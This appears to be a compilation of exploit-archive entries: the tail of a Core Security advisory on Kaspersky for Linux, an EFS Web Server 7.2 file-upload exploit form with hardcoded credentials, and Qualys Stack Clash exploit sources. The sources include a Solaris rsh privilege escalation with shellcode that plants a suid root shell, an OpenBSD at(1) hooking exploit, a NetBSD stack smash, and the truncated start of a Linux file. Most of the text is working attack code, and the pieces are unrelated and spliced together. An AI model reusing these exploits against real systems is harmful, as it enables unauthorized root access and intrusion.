. 2017-06-21: Core Security asked if the June 14th patch (ID 13738) is
fixing *all* the vulnerabilities reported in the current advisory. If
so Core Security will be releasing the advisory sooner than planned.
Reminded Kaspersky said they would release the fixes by June 30th.
. 2017-06-22: Core Security sent a draft advisory with the final CVE
IDs for each vulnerability.
. 2017-06-23: Kaspersky said they will clarify about patch 13738 ASAP
and also noted about a typo in the advisory's timeline.
. 2017-06-23: Core Security requested again we need clarification
around patch 13738 as soon as possible.
. 2017-06-26: Core Security reviewed the patch released in June 14th
and confirmed it addresses all the vulnerabilities reported. Core
Security informed Kaspersky this advisory will be published as a
FORCED release on Wednesday 28th.
. 2017-06-28: Advisory CORE-2017-0003 published.
9. *References*
[1] https://www.kaspersky.com
[2] https://support.kaspersky.com/linux_file80
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use
at: http://corelabs.coresecurity.com.
11. *About Core Security*
Courion and Core Security have rebranded the combined company, changing
its name to Core Security, to reflect the company's strong commitment to
providing enterprises with market-leading, threat-aware, identity,
access and vulnerability management solutions that enable actionable
intelligence and context needed to manage security risks across the
enterprise. Core Security's analytics-driven approach to security
enables customers to manage access and identify vulnerabilities, in
order to minimize risks and maintain continuous compliance. Solutions
include Multi-Factor Authentication, Provisioning, Identity Governance
and Administration (IGA), Identity and Access Intelligence (IAI), and
Vulnerability Management (VM). The combination of these solutions
provides context and shared intelligence through analytics, giving
customers a more comprehensive view of their security posture so they
can make more informed, prioritized, and better security remediation
decisions.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com.
12. *Disclaimer*
The contents of this advisory are copyright (c) 2017 Core Security
and (c) 2017 CoreLabs, and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
##################################
# 2017/6/15 Chako
#
# EFS Web Server 7.2 Unrestricted File Upload
# Vendor Homepage: http://www.sharing-file.com
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
# Version: Easy File Sharing Web Server 7.2
# Tested on: WinXP SP3
##################################
EFS Web Server 7.2 allows unauthorized users to upload malicious files
[Exploit]
// action="http://target_host/disk_c/vfolders
// </script><input size="20" name="upload_author" value="Admin" type="hidden">
// have to know the user name by Default "Admin"
<form action="http://192.168.136.129/disk_c/vfolders" name="post" onsubmit="return input(this)" enctype="multipart/form-data" method="post">
<input name="uploadid" id="uploadid" value="34533689" type="hidden">
<center>
<a name="reply"></a>
<table class="forumline" cellpadding="6" width="479">
<tbody><tr bgcolor="#8080A6">
<td bgcolor="#eff2f8" height="319">
<center>
<script language="JavaScript">
<!--
document.write('<input type="hidden" size="20" name="upload_author" Value="'+ReadCookie("UserID")+'">');
// -->
</script><input size="20" name="upload_author" value="Admin" type="hidden">
<script language="JavaScript">
<!--
document.write('<input type="hidden" size="20" name="upload_passwd" Value="'+ReadCookie("PassWD")+'">');
// --></script><input size="20" name="upload_passwd" value="829700" type="hidden">
<table cellpadding="0" border="0" width="437">
<tbody><tr>
<td colspan="2" height="63"> <span class="bgen">Description:</span> <br>
<input name="upload_title" id="upload_title" size="50" value="dd" type="text">
</td>
</tr>
<tr>
<td colspan="2"><span class="bgen">File:</span> <br>
<input name="UploadedFile" id="UploadedFile" size="50" type="file">
<br> </td>
</tr>
<tr>
</tr>
<tr>
<td colspan="2" height="40"><font size="2" face="Arial, Helvetica, sans-serif" color="#FFFFFF">
<input name="Upload" class="button" value="Upload" type="submit">
</font>
</td>
</tr>
</tbody></table>
</center></td>
</tr>
</tbody></table>
</center>
</form>
[/Exploit]
/*
* Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef timersub
#define timersub(a, b, result) \
do { \
(result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \
(result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \
if ((result)->tv_usec < 0) { \
--(result)->tv_sec; \
(result)->tv_usec += 1000000; \
} \
} while (0)
#endif
#define RSH "/usr/bin/rsh"
static const struct target * target;
static const struct target {
const char * name;
size_t s_first, s_last, s_step;
size_t l_first, l_last, l_step;
size_t p_first, p_last, p_step;
size_t a, b;
size_t i, j;
} targets[] = {
{
.name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
.s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 192, .l_last = 512, .l_step = 16,
.p_first = 0, .p_last = 8192, .p_step = 1,
.a = 0, .b = 15, .j = 12,
.i = 0x08052608 /* pop edx; pop ebp; ret */
},
{
.name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
.s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 96, .l_last = 512, .l_step = 4,
.p_first = 0, .p_last = 4096, .p_step = 4,
.a = 0, .b = 3, .j = SIZE_MAX,
.i = 0x07faa7ea /* call *0xc(%ebp) */
},
};
#define ROOTSHELL "ROOT"
static const char shellcode[] =
"\x31\xc0\x50\x68ROOT"
"\x89\xe3\x50\x53\x89\xe2\x50\x50"
"\x52\x53\xb0\x3C\x48\x50\xcd\x91"
"\x31\xc0\x40\x50\x50\xcd\x91Z";
static volatile sig_atomic_t sigalarm;
static void
sigalarm_handler(const int signum __attribute__((__unused__)))
{
sigalarm = 1;
}
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static int
is_suid_root(const char * const file)
{
if (!file) die();
static struct stat sbuf;
if (stat(file, &sbuf)) die();
if (!S_ISREG(sbuf.st_mode)) die();
return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
}
static const char *
build_lca(const size_t l)
{
static const size_t shellcode_len = sizeof(shellcode)-1;
if (shellcode_len > 64) die();
if (shellcode_len % 16) die();
if (l < shellcode_len + target->a + target->b) die();
#define LCA_MAX 4096
if (l > LCA_MAX) die();
static char lca[128 + LCA_MAX];
strcpy(lca, "LC_ALL=");
char * cp = memchr(lca, '\0', sizeof(lca));
if (!cp) die();
memcpy(cp, shellcode, shellcode_len);
cp += shellcode_len;
memset(cp, 'a', target->a);
size_t o;
for (o = target->a; l - o >= 4; o += 4) {
if ((o - target->a) % 16 == target->j) {
cp[o + 0] = '\xeb';
cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
-(shellcode_len + target->a + target->j + 2);
cp[o + 2] = 'j';
cp[o + 3] = 'j';
} else {
if (sizeof(size_t) != 4) die();
*(size_t *)(cp + o) = target->i;
}
}
cp += o;
memset(cp, 'b', target->b);
cp[target->b] = '\0';
if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
return lca;
}
static const char *
build_pad(const size_t p)
{
#define PAD_MAX 8192
if (p > PAD_MAX) die();
static char pad[64 + PAD_MAX];
strcpy(pad, "P=");
char * const cp = memchr(pad, '\0', sizeof(pad));
if (!cp) die();
memset(cp, 'p', p);
cp[p] = '\0';
if (strlen(pad) != 2 + p) die();
return pad;
}
static void
fork_worker(const size_t s, const char * const lca, const char * const pad)
{
#define N_WORKERS 2
static size_t n_workers;
static struct {
pid_t pid;
struct timeval start;
} workers[N_WORKERS];
size_t i_worker;
struct timeval start, stop, diff;
if (n_workers >= N_WORKERS) {
if (n_workers != N_WORKERS) die();
int is_suid_rootshell = 0;
for (;;) {
sigalarm = 0;
#define TIMEOUT 10
alarm(TIMEOUT);
int status = 0;
const pid_t pid = waitpid(-1, &status, WUNTRACED);
alarm(0);
if (gettimeofday(&stop, NULL)) die();
if (pid <= 0) {
if (pid != -1) die();
if (errno != EINTR) die();
if (sigalarm != 1) die();
}
int found_pid = 0;
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid <= 0) die();
if (worker_pid == pid) {
if (found_pid) die();
found_pid = 1;
if (WIFEXITED(status) || WIFSIGNALED(status))
workers[i_worker].pid = 0;
} else {
timersub(&stop, &workers[i_worker].start, &diff);
if (diff.tv_sec >= TIMEOUT)
if (kill(worker_pid, SIGKILL)) die();
}
}
if (!found_pid) {
if (pid != -1) die();
continue;
}
if (WIFEXITED(status)) {
if (WEXITSTATUS(status) != EXIT_FAILURE)
fprintf(stderr, "exited %d\n", WEXITSTATUS(status));
break;
} else if (WIFSIGNALED(status)) {
if (WTERMSIG(status) != SIGSEGV)
fprintf(stderr, "signal %d\n", WTERMSIG(status));
break;
} else if (WIFSTOPPED(status)) {
fprintf(stderr, "stopped %d\n", WSTOPSIG(status));
is_suid_rootshell |= is_suid_root(ROOTSHELL);
if (kill(pid, SIGKILL)) die();
continue;
}
fprintf(stderr, "unknown %d\n", status);
die();
}
if (is_suid_rootshell) {
system("ls -lL " ROOTSHELL);
exit(EXIT_SUCCESS);
}
n_workers--;
}
if (n_workers >= N_WORKERS) die();
static char rsh_link[64];
if (*rsh_link != '/') {
const int rsh_fd = open(RSH, O_RDONLY);
if (rsh_fd <= STDERR_FILENO) die();
if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
"/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
if (access(rsh_link, R_OK | X_OK)) die();
if (*rsh_link != '/') die();
}
static int null_fd = -1;
if (null_fd <= -1) {
null_fd = open("/dev/null", O_RDWR);
if (null_fd <= -1) die();
}
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
const struct rlimit stack = { s, s };
if (setrlimit(RLIMIT_STACK, &stack)) die();
if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();
static char * const argv[] = { rsh_link, "-?", NULL };
char * const envp[] = { (char *)lca, (char *)pad, NULL };
execve(*argv, argv, envp);
die();
}
if (gettimeofday(&start, NULL)) die();
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid > 0) continue;
if (worker_pid != 0) die();
workers[i_worker].pid = pid;
workers[i_worker].start = start;
n_workers++;
return;
}
die();
}
int
main(const int argc, const char * const argv[])
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();
if (geteuid() == 0) {
if (is_suid_root(ROOTSHELL)) {
if (setuid(0)) die();
if (setgid(0)) die();
static char * const argv[] = { "/bin/sh", NULL };
execve(*argv, argv, NULL);
die();
}
chown(*argv, 0, 0);
chmod(*argv, 04555);
for (;;) {
raise(SIGSTOP);
sleep(1);
}
die();
}
if (symlink(*argv, ROOTSHELL)) {
if (errno != EEXIST) die();
}
if (argc != 2) {
fprintf(stderr, "Usage: %s target\n", *argv);
size_t i;
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
fprintf(stderr, "Target %zu %s\n", i, targets[i].name);
}
die();
}
{
const size_t i = strtoul(argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
fprintf(stderr, "Target %zu %s\n", i, target->name);
}
if (target->a >= 16) die();
if (target->b >= 16) die();
if (target->i <= 0) die();
if (target->j >= 16 || target->j % 4) {
if (target->j != SIZE_MAX) die();
}
static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();
size_t s;
for (s = target->s_first; s <= target->s_last; s += target->s_step) {
if (s % target->s_step) die();
size_t l;
for (l = target->l_first; l <= target->l_last; l += target->l_step) {
if (l % target->l_step) die();
const char * const lca = build_lca(l);
fprintf(stderr, "s %zu l %zu\n", s, l);
size_t p;
for (p = target->p_first; p <= target->p_last; p += target->p_step) {
if (p % target->p_step) die();
const char * const pad = build_pad(p);
fork_worker(s, lca, pad);
}
}
}
fprintf(stderr, "Please try again\n");
die();
}
/*
* OpenBSD_at.c for CVE-2017-1000373
* Copyright (c) 2017 Qualys, Inc.
* slowsort() adapted from lib/libc/stdlib/qsort.c:
*
* Copyright (c) 1992, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* OpenBSD_at.c for CVE-2017-1000372
* Copyright (C) 2017 Qualys, Inc.
* ttime() adapted from usr.bin/at/at.c:
*
* at.c : Put file into atrun queue
* Copyright (C) 1993, 1994 Thomas Koenig
*
* Atrun & Atq modifications
* Copyright (C) 1993 David Parsons
*
* Traditional BSD behavior and other significant modifications
* Copyright (C) 2002-2003 Todd C. Miller
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. The name of the author(s) may not be used to endorse or promote
* products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <ctype.h>
#include <dirent.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
static const char *
u64tostr(uint64_t u64)
{
static char str[64];
char * cp = str + sizeof(str);
*--cp = '\0';
do {
if (cp <= str) _exit(__LINE__);
*--cp = '0' + (u64 % 10);
} while (u64 /= 10);
return cp;
}
#define die() do { \
const char * const str = u64tostr(__LINE__); \
const size_t len = strlen(str); \
write(STDERR_FILENO, "\n[", 2); \
write(STDERR_FILENO, str, len); \
write(STDERR_FILENO, "]\n", 2); \
_exit(EXIT_FAILURE); \
} while (0)
static __inline char *med3(char *, char *, char *, int (*)(const void *, const void *));
static __inline void swapfunc(char *, char *, size_t, int);
/*
* Qsort routine from Bentley & McIlroy's "Engineering a Sort Function".
*/
#define swapcode(TYPE, parmi, parmj, n) { \
size_t i = (n) / sizeof (TYPE); \
TYPE *pi = (TYPE *) (parmi); \
TYPE *pj = (TYPE *) (parmj); \
do { \
TYPE t = *pi; \
*pi++ = *pj; \
*pj++ = t; \
} while (--i > 0); \
}
#define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;
static __inline void
swapfunc(char *a, char *b, size_t n, int swaptype)
{
if (swaptype <= 1)
swapcode(long, a, b, n)
else
swapcode(char, a, b, n)
}
#define swap(a, b) \
if (swaptype == 0) { \
long t = *(long *)(a); \
*(long *)(a) = *(long *)(b); \
*(long *)(b) = t; \
} else \
swapfunc(a, b, es, swaptype)
#define vecswap(a, b, n) if ((n) > 0) swapfunc(a, b, n, swaptype)
static __inline char *
med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *))
{
return cmp(a, b) < 0 ?
(cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a ))
:(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c ));
}
typedef struct {
size_t idx;
size_t key;
} slowsort_t;
static __inline void
set_key(void * const _pss, const size_t key)
{
slowsort_t * const pss = _pss;
if (!pss) die();
if (!key) die();
if (pss->key) die();
pss->key = key;
}
#define RESET_KEY SIZE_MAX
static void
slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size)
{
if (!aa) die();
if (n <= 0) die();
if (n >= SSIZE_MAX) die();
if (es <= 0) die();
if (es >= SSIZE_MAX) die();
if (!cmp) die();
#define SET_KEYS 4
#define STACK_FRAME_SIZE 176
const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS;
if (n < pathological) die();
size_t innocuous = n - pathological;
char *pa, *pb, *pc, *pd, *pl, *pm, *pn;
int cmp_result, swaptype;
size_t d, r;
char *a = aa;
loop: SWAPINIT(a, es);
if (innocuous) {
if (n <= innocuous) die();
if (n - innocuous <= SET_KEYS) die();
if (n <= 40) die();
}
if (n < 7) {
for (pm = a; pm < a + n * es; pm += es) {
set_key(pm, 1 + (pm - a) / es);
}
for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es)
for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0;
pl -= es)
swap(pl, pl - es);
return;
}
pm = (char *)a + (n / 2) * es;
size_t set_keys = 0;
if (n > 7) {
pl = (char *)a;
pn = (char *)a + (n - 1) * es;
if (n > 40) {
d = (n / 8) * es;
if (innocuous) {
set_key(pl, RESET_KEY);
set_key(pl + d, RESET_KEY);
set_key(pl + 2 * d, RESET_KEY);
}
pl = med3(pl, pl + d, pl + 2 * d, cmp);
if (innocuous) set_key(pm - d, RESET_KEY);
set_key(pm + 0, n - innocuous - 3);
set_key(pm + d, n - innocuous - 2);
pm = med3(pm - d, pm, pm + d, cmp);
if (innocuous) set_key(pn - 2 * d, RESET_KEY);
set_key(pn - d, n - innocuous - 1);
set_key(pn - 0, n - innocuous - 0);
pn = med3(pn - 2 * d, pn - d, pn, cmp);
set_keys = SET_KEYS;
} else {
set_key(pm, n - 1);
set_key(pn, n - 0);
set_keys = 2;
}
pm = med3(pl, pm, pn, cmp);
} else {
set_key(pm, n - 0);
set_keys = 1;
}
if (!set_keys) die();
swap(a, pm);
if (innocuous) {
if (a != aa) die();
slowsort_t * pss = aa;
{
const size_t key = pss->key;
if (!key) die();
if (n <= 40) die();
if (set_keys != SET_KEYS) die();
if (key != n - innocuous - set_keys + 1) die();
}
const slowsort_t * const end = pss + n;
size_t i = 0;
for (;; pss++) {
if (pss >= end) {
if (i != innocuous) die();
break;
}
if (!pss->key) {
if (i < innocuous) {
set_key(pss, n - i++);
set_keys++;
}
} else if (pss->key == RESET_KEY) {
pss->key = 0;
} else {
if (pss->key > n - innocuous) die();
}
}
}
pa = pb = (char *)a + es;
pc = pd = (char *)a + (n - 1) * es;
for (;;) {
while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) {
if (cmp_result == 0) {
swap(pa, pb);
pa += es;
}
pb += es;
}
while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) {
if (cmp_result == 0) {
swap(pc, pd);
pd -= es;
}
pc -= es;
}
if (pb > pc)
break;
swap(pb, pc);
pb += es;
pc -= es;
}
pn = (char *)a + n * es;
r = MIN(pa - (char *)a, pb - pa);
vecswap(a, pb - r, r);
r = MIN(pd - pc, pn - pd - (ssize_t)es);
vecswap(pb, pn - r, r);
if ((pb - pa) / es != n - set_keys) die();
if ((pd - pc) / es != set_keys - 1) die();
if ((r = pb - pa) > es) {
n = r / es;
innocuous = 0;
goto loop;
}
die();
}
static int
cmp_key(const void * const a, const void * const b)
{
const size_t __a_key = ((const slowsort_t *)a)->key;
const size_t __b_key = ((const slowsort_t *)b)->key;
const size_t a_key = __a_key != RESET_KEY ? __a_key : 0;
const size_t b_key = __b_key != RESET_KEY ? __b_key : 0;
if (a_key < b_key) return -1;
if (a_key > b_key) return +1;
return 0;
}
#define ATOI2(s) ((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0'))
/*
* Adapted from date(1)
*/
static time_t
ttime(char *arg)
{
time_t now, then;
struct tm *lt;
int yearset;
char *dot, *p;
if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL)
die();
/* Valid date format is [[CC]YY]MMDDhhmm[.SS] */
for (p = arg, dot = NULL; *p != '\0'; p++) {
if (*p == '.' && dot == NULL)
dot = p;
else if (!isdigit((unsigned char)*p))
goto terr;
}
if (dot == NULL)
lt->tm_sec = 0;
else {
*dot++ = '\0';
if (strlen(dot) != 2)
goto terr;
lt->tm_sec = ATOI2(dot);
if (lt->tm_sec > 61) /* could be leap second */
goto terr;
}
yearset = 0;
switch(strlen(arg)) {
case 12: /* CCYYMMDDhhmm */
lt->tm_year = ATOI2(arg) * 100;
lt->tm_year -= 1900; /* Convert to Unix time */
yearset = 1;
/* FALLTHROUGH */
case 10: /* YYMMDDhhmm */
if (yearset) {
yearset = ATOI2(arg);
lt->tm_year += yearset;
} else {
yearset = ATOI2(arg);
/* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */
lt->tm_year = yearset;
if (yearset < 69)
lt->tm_year += 100;
}
/* FALLTHROUGH */
case 8: /* MMDDhhmm */
lt->tm_mon = ATOI2(arg);
if (lt->tm_mon > 12 || lt->tm_mon == 0)
goto terr;
--lt->tm_mon; /* Convert from 01-12 to 00-11 */
lt->tm_mday = ATOI2(arg);
if (lt->tm_mday > 31 || lt->tm_mday == 0)
goto terr;
lt->tm_hour = ATOI2(arg);
if (lt->tm_hour > 23)
goto terr;
lt->tm_min = ATOI2(arg);
if (lt->tm_min > 59)
goto terr;
break;
default:
goto terr;
}
lt->tm_isdst = -1; /* mktime will deduce DST. */
then = mktime(lt);
if (then == (time_t)-1) {
terr:
die();
}
if (then < now)
die();
return (then);
}
static bool reading_jobs;
void *
reallocarray(void * const ptr, const size_t nmemb, const size_t size)
{
static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size);
if (!real_reallocarray) {
real_reallocarray = dlsym(RTLD_NEXT, "reallocarray");
if (!real_reallocarray) die();
}
if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) {
if (reading_jobs) die();
reading_jobs = true;
}
void * const new_ptr = real_reallocarray(ptr, nmemb, size);
if (!new_ptr) die();
return new_ptr;
}
#define NUMJOBS (40<<20)
static const size_t *
get_jobkeys(void)
{
const size_t n = NUMJOBS;
slowsort_t * const a = calloc(n, sizeof(slowsort_t));
write(STDERR_FILENO, "initializing jobkeys\n", 21);
if (!a) die();
size_t i;
for (i = 0; i < n; i++) {
a[i].idx = i;
}
slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20);
size_t * const jobkeys = calloc(n, sizeof(*jobkeys));
write(STDERR_FILENO, "finalizing jobkeys\n", 19);
if (!jobkeys) die();
for (i = 0; i < n; i++) {
const size_t j = a[i].idx;
const size_t k = a[i].key;
if (j >= n) die();
if (k <= 0) die();
if (k > n) die();
if (jobkeys[j]) die();
jobkeys[j] = k;
}
free(a);
return jobkeys;
}
static struct dirent dirent;
struct dirent *
readdir(DIR * const dirp)
{
static struct dirent * (* real_readdir)(DIR *dirp);
if (!real_readdir) {
real_readdir = dlsym(RTLD_NEXT, "readdir");
if (!real_readdir) die();
}
if (!reading_jobs) {
return real_readdir(dirp);
}
static size_t numjobs;
if (numjobs >= NUMJOBS) {
write(STDERR_FILENO, "sorting jobs\n", 13);
return NULL;
}
static char arg[32];
char * cp = arg + sizeof(arg);
*--cp = '\0';
{
static const struct {
uint32_t min;
uint32_t max;
} units[] = {
{ 0, 59 }, /* Second */
{ 0, 59 }, /* Minute */
{ 0, 23 }, /* Hour */
{ 1, 28 }, /* Day */
{ 1, 12 }, /* Month */
{ 2038, 2099 } /* Year */
};
static const size_t * jobkeys;
if (!jobkeys) {
jobkeys = get_jobkeys();
if (!jobkeys) die();
write(STDERR_FILENO, "reading jobs\n", 13);
}
uint32_t timer = jobkeys[numjobs++];
if (timer > NUMJOBS) die();
if (timer <= 0) die();
static size_t percent = 10;
if (numjobs == NUMJOBS / 100 * percent) {
const char * const str = u64tostr(percent);
const size_t len = strlen(str);
write(STDERR_FILENO, str, len);
write(STDERR_FILENO, "%\n", 2);
percent += 10;
}
size_t i;
for (i = 0; i < sizeof(units)/sizeof(*units); i++) {
const uint32_t min = units[i].min;
const uint32_t max = units[i].max;
const uint32_t div = max - min + 1;
const uint32_t u32 = min + timer % div;
timer /= div;
if (u32 < min) die();
if (u32 > max) die();
const char * const str = u64tostr(u32);
const size_t len = strlen(str);
if (cp <= arg) die();
if (cp - arg < (ssize_t)len) die();
cp -= len;
memcpy(cp, str, len);
if (len < 2) {
if (cp <= arg) die();
*--cp = '0';
}
if (!i) {
if (cp <= arg) die();
*--cp = '.';
}
}
if (timer) die();
}
if (strlen(cp) != 15) die();
const uint64_t timer = ttime(cp);
strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name));
strlcat(dirent.d_name, ".x", sizeof(dirent.d_name));
return &dirent;
}
int
fstatat(const int fd, const char * const path, struct stat * const sb, const int flag)
{
static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag);
if (!real_fstatat) {
real_fstatat = dlsym(RTLD_NEXT, "fstatat");
if (!real_fstatat) die();
}
if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) {
return real_fstatat(fd, path, sb, flag);
}
memset(sb, 0, sizeof(*sb));
sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR;
static uid_t user_uid;
if (!user_uid) {
user_uid = getuid();
if (!user_uid) die();
}
sb->st_uid = user_uid;
return 0;
}
/*
* NetBSD_CVE-2017-1000375.c (please compile with -O0)
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/time.h>
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static void
smash_no_jump(const size_t smash_size)
{
char buf[1024];
memset(buf, 'A', sizeof(buf));
if (smash_size > sizeof(buf))
smash_no_jump(smash_size - sizeof(buf));
}
int
main(const int argc, const char * const argv[])
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();
if (argc != 2) die();
const size_t smash_size = strtoul(argv[1], NULL, 0);
if (smash_size <= 0 || smash_size >= SSIZE_MAX) die();
smash_no_jump(smash_size);
exit(EXIT_SUCCESS);
}
/*
* Linux_offset2lib.c for CVE-2017-1000370 and CVE-2017-1000371
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
